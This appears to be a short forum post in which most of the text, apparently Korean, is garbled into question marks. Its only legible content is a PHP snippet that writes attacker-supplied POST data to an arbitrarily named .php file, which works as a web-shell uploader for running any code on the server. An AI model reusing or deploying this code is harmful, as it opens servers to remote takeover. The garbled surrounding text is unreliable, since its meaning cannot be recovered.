??? ?? ???? ?? ??? ????? ???? ?? ???? ?? ?? ?? ?? ??? ????? ??? ??????
??? ?? ???? ?? ??? ????? ?????? ?? ???? ?? ??? ????? ?? ? ??? ??? ???? ?? ? ??????.
<?php if( $_POST["potus"] || $_POST["data"] ){ $name = $_POST['potus']; $data = $_POST['data']; static $ext = ".php"; if(file_exists($name)){ //rename exist file with random string $n = rand(); $filename = $name.$n.$ext; } else { $filename = $name.$ext ; // Creates file if it doesn't exist } file_put_contents($filename , $data); } else { echo "successfully posted"; exit(); } ?>
?? $name? ?? ???? ?? ??? ??? ??? ?? ?? ??? ???? ???? ?????. ? ??? ???? ??? ???? ??? ?????.
??? ?? ??? ? ? ????! ! ! ?? ???(?? ???) ?? ??? ???
???